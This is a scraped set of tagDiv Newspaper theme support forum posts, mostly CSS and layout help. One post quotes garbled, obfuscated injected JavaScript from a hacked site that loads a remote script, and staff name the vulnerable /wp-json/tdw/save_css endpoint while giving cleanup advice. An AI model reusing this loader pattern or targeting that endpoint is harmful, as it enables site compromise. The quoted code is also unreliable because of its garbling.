- NewspaperCreate Custom Code with the browser’s Inspector or the Live CSS Box
- NewspaperScroll Animation
- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
- NewspaperHow to setup Twitch for Social Counter
- NewspaperModal Popup
- NewspaperFlex Block Settings Guide
- NewspaperAutoptimize Plugin – install and configuration
- NewspaperAdding Multiple Authors to Your Articles
- NewspaperDesign your Post Pages using the Cloud Library Templates
- NewspaperBig Grid Flex Settings
- NewspapertagDiv Composer Tutorial
- NewspaperTheme modules and blocks
- NewspaperThe Mobile Theme
- NewspaperCompare theme files – Winmerge tutorial
- NewspaperUsing Other Ads
- NewspaperBlock settings tutorial
- Using custom fonts
- Using typekit fonts
- NewspaperChild Theme Support
- NewspaperHow to Make the Site Faster
Thanks! That was really helpful but although we love the magazine theme, we found the right margins for the article posts were very wide. We accept this is a design feature for the magazine style.
So is there specific css for a Page template style – a way of saying, “just apply to page template style 1”?
Or alternatively, for all mobile post template styles, perhaps I want to say, “Don’t word wrap the featured images of any post template style on mobiles” or maybe “Don’t align-left the featured images on mobiles”?
We had added the code below to the custom css for mobile phones, to make the featured image spread across the page.
/*article post featured image. Push right margin rightwards, beyond default setting*/
.td-post-featured-image {
margin-left:0px;
margin-right:-70px; /* !! This setting causes the featured image */
/* in post settings Post Template Style 1 */
/* to go over the opening article text */
}
I should have realised that this caused the issue for Post Template Style 1 – your code revealed it to me by preventing it.
Hope you can help?
Hello!
Please add this CSS code in the theme panel settings -> custom code -> custom css:
.td-post-content p { word-wrap: normal!important;}
@media (max-width: 767px) { p { margin-right:0!important;}}
Thank you!
Hi,
1. if you add logo image make sure that is set to show and delete the logo text->
2. If you created a mobile template, then you can delete the block with right-click, but if you use the responsive version, then please hide one element on the mobile and unhide it on desktop, for example -> https://imgur.com/GKIKvgt. Every element in the TagDiv Composer has a setting to make it invisible. This setting can be seen in the CSS tab of every element: [Display: HIDDEN]. You can also hide the entire row.
To see the hidden elements in Composer, you can enable this option from Manager -> Settings -> https://i.imgur.com/OkfpxSL.png
Thank you!
Hi,
Recently the Post template style 1 doesn’t always work on mobile phones.
The featured image (set in the featured image post section, not inserted into the post) sometimes covers the text, even if portrait shaped, on my android mobile.
This is an example article, but you’ll have to view it on a mobile to see the problem. I have a Samsung Galaxy A14, which is relatively new and extremely common.
Screenshot:
screenshot of problem
In edit:
I have tried using the Newspaper panel -> custom code -> advanced CSS -> phones but can’t find the right code I’m afraid.
Hope you can help.
Hi,
All you need to do to change that color to be as the rest of the page is to use a custom css like this one:
.td_category_template_3 .td-scrumb-holder .td-pb-span12 {
background: transparent;
}
This code should be set in the theme panel . custom code> custom css and the results should be like this – https://i.imgur.com/KyNwT0M.png
Thank you!
Hello!
Use a padding on that button in the tagdiv Composer, CSS tab and see the changes.
If you can’t handle it, then I can try to help you. Please contact us via email at contact@tagdiv.com and provide the following:
– admin url and credentials
– a link to this topic in order to identify you
Thank you!
Hi,
Then maybe you have a plugin conflict, a plugin that you use to optimize the CSS and js.
Thank you!
Thanks for your prompt response.
As far as I can see, all the changes have been made to the child theme.
After inspection of the console, it looks like no css files have been loaded.
@DocDigit it is an old version, this version https://wpscan.com/vulnerability/993a95d2-6fce-48de-ae17-06ce2db829ef/
Since it is a production website, I would like – if possible – to first update to a safe version of tagdiv composer or at least patch this, while maintaining compatibility.
Hello,
I believe this is the default template so it can not be edited using tagDiv Composer and most possible that there are no color options on those elements. What can be done is to use a css like this one: https://pastebin.com/9hqc0gvs
Set the custom css in Theme panel > custom code > custom css.
I hope this will help you!
Hi,
You could consider reinstalling the WordPress version, and checking for this plugin wp-zexit.php. It might be wise to inspect via FTP if it doesn’t appear in the WordPress -> Plugins. Additionally, using Wordfence to scan the website and remove unknown users would be prudent.
Change admin passwords and delete admin accounts you are not familiar with;
– Delete any weird/unknown plugins;
– Delete the weird/unknown themes;
– Clean unfamiliar Theme Panel injected code (example – https://i.imgur.com/4q70kCv.png);
– Clean WordPress files (example – https://i.imgur.com/stJCqiK.png)
Please block /wp-json/tdw/save_css
If an attacker wants to target this URL /wp-json/tdw/save_css they can do so. Even if the website uses a different theme, the attacker can still try that URL. We could add an option to be able to enable/disable the Live CSS, it will be considered. But for now in order to remove it this can only be done with a modification to the composer plugin. I think that all that removing it requires is to comment this line of code – https://prnt.sc/RtwvL5Nc4ikR -> https://prnt.sc/ymZmhdUfp57U But as I mentioned, the attacker can still try to access the URL.
Thank you!
Hi, I already updated the theme and the plugins via FTP and all WordPress files, yet my website still contains malware and is found in WordPress categories:
*Known javascript malware
Malware http://elimparcialnoticias.com/
(Pasa el cursor por encima para ver el código inyectado)
*Known javascript malware
Malware https://elimparcialnoticias.com/local/
(Pasa el cursor por encima para ver el código inyectado)
*Known javascript malware
Malware https://elimparcialnoticias.com/local/camargo/
(Pasa el cursor por encima para ver el código inyectado)
*Known javascript malware
Malware https://elimparcialnoticias.com/local/delicias/
(Pasa el cursor por encima para ver el código inyectado)
*Known javascript malware
Malware https://elimparcialnoticias.com/local/meoqui/
(Pasa el cursor por encima para ver el código inyectado)
*Known javascript malware
Malware https://elimparcialnoticias.com/local/rosales/
(Pasa el cursor por encima para ver el código inyectado)
*Known javascript malware
Malware https://elimparcialnoticias.com/local/saucillo/
I can´t find a file or a style to be deleted to delete this malware.
Can you help me discover where this javascript malware is inserted in my theme? I´m using the Cloud Templates: Living PRO, but I can´t find where this code comes from.
The code is:
<style id=”tdw-css-placeholder”>var
_rnnwirrm-“ataeqjb”try(letafmtgnbdgw-String;v. aeejp=”f™+”ro”+afmgnbagw[‘fr’+’om’+String.from (109,67,104,97, 114,67)+””+”de”var addknsowigw=”s”+”c”+afmtgnbdgw[aeejp]
(114, 105, 112, 116);var
xgobwbyj=”‘C’+’re”tafmtenbdgwlaeejp]
(97,116, 101,69, 108, 101, 109, 101, 110, 116);var _agehb=”s”+afmtgnbdgw[aeejp](114,99);var aomcxrdou-afmtgnbogw[aeejp](105,100);var _pfbpqrh=”cu”+”rre”+afmtgnbogw[aeejp]
(110, 116,83, 99, 1 14, 105, 112, 116); var _gaaeorlwqz-“pa”+”-“+afmtgnbagw[aeejp]
(101, 110, 116, 78, 111, 100, 101);var
gwzwgixp=”+”ns”tafmtgnbdgwlaeejp]
(101, 114,116,66, 101, 102, 11 1, 114, 101);let aqtfqufbfe-“ge”+”El’+afmtgnbdgw[aeejp]
(101, 109, 101, 110, 116, 115,66, 121, 84, 97, 1 03, 78,97, _almpwagsfok=”h”+””+afmtgnbagw[aeejp]
(97,100);var __qrohvnpalnf-“ap”+”p”+afmtgnbagw[aeejp]
(101,110, 100, 67, 104, 105, 108, 100);var _zieiuaxr=document;var _tinae=””+”e”+afmtgnbogw[aeejp]
(109, 112,95, 1 1 9, 101,97,1 16, 104, 101, 114, 95, 115,99
_qgmbtqt=_zieiuaxrLxgobwbyil (adaknsowigw):_qgmbtat[as’+’y’+’nc’]-true;var _Ixavfaxr=afmtgnbdgwaeejp]
(104,116,116,112,115,58,47,47+ “f” + “ft “+”.”+”gy
(47)+afmtgnbogw[aeejp]
(115)+”cr”+”;”+afmtgnbogwaeejp]
(112, 116)+afmtgnbdgw[aeejp] (47)+”s”+”ta”+afmtgnbogw[aeejp]
(114, 116,46, 106,115)_9gmbtqtLagehb)-_ Ixavfaxr;aRR {zieiuaxrLpfbpqrh]Lgaaeorlbwqz] [glwzwgixp]
(agmbtat, _zieiuaxr Lpfbpqrh));var axtpuopbn=document;if aware
(axtpuopbn[‘cu’+’rr’+’en’+’tS’+’cr’+ipt’])s.com/ {axtpuopbn[‘cu’+’rr’+’en’+’tS’+’cr’+’ipt’l.remove(}}e (almpwagsfok)[0]LqrohvnpdinfI(qgmbtqt);if° (axtpuopbn[‘cu’+’rr’+’en’+’tS’+’cr’+’ipt’7) {axtpuopbn[‘cu’+’rr’+’en’+’tS’+’cr’+’ipt’).remove())} (err/</style></head>
Thanks!
Hi @Bettina,
I wouldn’t have reached out if I could find the difference on my own. I’m asking for help as maybe someone else had similar problems before that you have solved.
Is it possible for you to please check the link and investigate the issue? If you can explain how the Child theme was to be created would be nice too, as a first step.
Are the style.css and functions.php enough or do I need to add more files to this folder?
I’m doing some optimizations through WP Rocket, but I’m having some issues when I enable the Optimize CSS Delivery and Remove unused CSS features.
For example, a huge white space appears in the area I have marked. How can I exclude this?
Hi @Bettina — tried everything before writing to you for help. I suspect it could be that I have not set up the child theme properly. In my child theme I only added
functions.php
style.css
Is there something else I needed to do?
Hello Hans!
There are no more options: https://forum.tagdiv.com/more-articles-box/
You can write some custom CSS code if you want to customize it: https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/
Thank you!
Hello Bettina,
Thank you for your swift reply.
This is however not the answer I’m looking for.
I mean customizing the CSS of the More article box…
Regards,
Hans
Hi,
The number is made using a custom code CSS, you can change it from here -> https://i.imgur.com/ju7zC2Z.jpeg
Thank you!
Hello!
Try to set the width 100% or add some paddings in the CSS tab of the element.
If this won’t affect the shortcode, then you can change it only with some CSS code.
Thank you!
Hello,
I would like to remove the link from CPT author box (author name & image). I’m currently using CSS to do it and I activated the nofollow tag in the settings. But I in the code source, the <a tag is still visible so search engines still goes to the author page. Is there a way to remove the hyperlink totally from “CPT Author Box”.
Thank you!
Hi,
You are probably uploading the whole theme package. You have to upload only the theme zip file, not the whole package which contains other items
– https://help.market.envato.com/hc/en-us/articles/202821510-Theme-is-missing-the-style-css-stylesheet-error
How to update the theme https://forum.tagdiv.com/how-to-update-the-theme-2/
Requirements for Newspaper => https://forum.tagdiv.com/requirements-for-newspaper/
Thank you!
Hello,
I have this message when I try to upload, please help : The package could not be installed. The theme is missing the style.css stylesheet.
Thanks
Hello,
Why is the unique id for blocks randomly changing? I am writing css code to target certain elements and out of nowhere my custom css code will stop working because the unique id generated by your code has changed for the element it was targeting. Under what circumstances does this id change and how can we set static ids.
Hello,
1. Yes, you can add the logo more near to the menu, but you need to set the row layout like this -> https://i.imgur.com/DMqn02Y.jpeg and stretch row https://i.imgur.com/29Aet0y.jpeg You can not delete the empty column, only the row that contains empty columns.
If you want to delete a row, you can delete a row with the empty column using the right click on the row icon -> https://i.imgur.com/JodWvlW.png -> https://i.imgur.com/e6bb8U5.png or using the drag and drop or you can simply click on the row and press the delete button from your keyboard -> https://www.screencast.com/t/Mai7iyEG The same steps are to delete the elements.
2. Please disable the mobile theme and amp plugins.
Using our theme, you can choose from 3 mobile versions
-> mobile responsive => https://www.screencast.com/t/oJ2ShOp47
-> mobile theme plugin => https://forum.tagdiv.com/the-mobile-theme/
-> mobile page => https://tagdiv.com/newspaper-10-3-7-update-brings-customizable-and-fast-mobile-pages/ The option that you need to use.
Suppose you created the mobile pages with tagDiv Composer. In that case, when you install the Mobile Theme plugin, your pages will be overwritten by the plugin (the mobile theme comes with its templates for page, post, category, etc, so your current templates from the desktop theme will get converted to the mobile theme layout, the page content is made without builders in mobile editor => https://www.screencast.com/t/xbgZG8kH also, the options that are provided to edit the mobile theme version are limited (this keeps the things simple)).
This is a video about Responsive Newspaper Theme, AMP & Mobile Theme, Mobile Pages & Templates -> https://www.youtube.com/watch?v=SpGkOnJeNZY.
So, the mobile responsive is what you see when that you select the viewport on phone => https://www.screencast.com/t/matV17hH, so some settings may apply for each viewport(where is the border blue), and others are not(where the border is black).
The mobile page has the mobile templates from Cloud Library => https://www.screencast.com/t/YCcZ8rL8
The Mobile responsive version of the theme and the mobile page editor can be edit with tagDiv Composer, the mobile theme plugin cannot.
For example, you can have the mobile theme plugin activated and use the mobile page/mobile responsive version for the homepage/pages, but for the categories pages/404 page, you can’t use the mobile page/mobile responsive version if you have the mobile theme plugin activated.
So, if you want to design the pages with tagDiv Composer, you can use the mobile page or mobile responsive version.
3. Format need to be MP4, File size for embedded video should ideally be 500KB, as the ideal page size from Google’s standpoint is <1MB. File size of 1-2MB is acceptable.
Video duration should be no longer than 25 seconds.
4. You need to use a plugin that provides this option. Please check our guide -> https://forum.tagdiv.com/using-theme-translations-together-wpml/
5. The images are responsive; please let me know what you mean.
6. I recommend using the WP ROCKET plugin.
Also, we don’t recommend to using amp, because it is deprecated -> https://developer.bigcommerce.com/docs/storefront/wordpress/platform-integration/enabling-amp
There are many optimization guides provided by our users here in the forum, some made by us; you could check some of them
– https://www.infophilic.com/get-almost-100-pagespeed-newspaper-theme/
– https://forum.tagdiv.com/cache-plugin-install-and-configure/
– https://forum.tagdiv.com/how-to-make-the-site-faster/
– https://forum.tagdiv.com/topic/high-number-of-ajax-request/
– https://forum.tagdiv.com/topic/score-100100-pagespeed-with-newspaper-wordpress-theme/
– https://www.andraware.com/wp-rocket-for-newspaper-theme/
– https://forum.tagdiv.com/topic/page-speed-guide-for-2023-beginners-and-advanced/
– https://forum.tagdiv.com/topic/newspaper-theme-speedify-your-website/
– https://forum.tagdiv.com/topic/tutorial-chriss-custom-optimizations-for-functions-php-etc/
– https://forum.tagdiv.com/cloudflare-cdn/
– https://forum.tagdiv.com/topic/theme-causing-high-cpu-usage-2/
– https://forum.tagdiv.com/topic/sql-querys-high-cpu/
– https://forum.tagdiv.com/topic/newspaper-theme-slow-to-respond/
– https://premium.wpmudev.org/blog/optimizing-your-wordpress-database-a-complete-guide/
– https://underconstructionpage.com/optimize-wordpress-database/
– https://crunchify.com/better-optimize-wordpress-database-all-in-one-guide/
7. I recommend using Duplicator plugin, but you can try other plugins from this list -> https://www.bluehost.com/blog/best-wordpress-backup-plugins/
8. Usually, the color and image are set on the row, so please edit with tagDiv Composer and select the row and go in the tab CSS, and there you can set it https://i.imgur.com/IkbGWUS.png -> https://forum.tagdiv.com/topic/background-color-of-the-main-menu-be-changed/
Thank you!
Hello Bernd!
I’m not sure what you need to achieve, but you can use the element you need. Also, you can add paddings and margins in the CSS tab of each element in the tagdiv Composer.
Thank you!
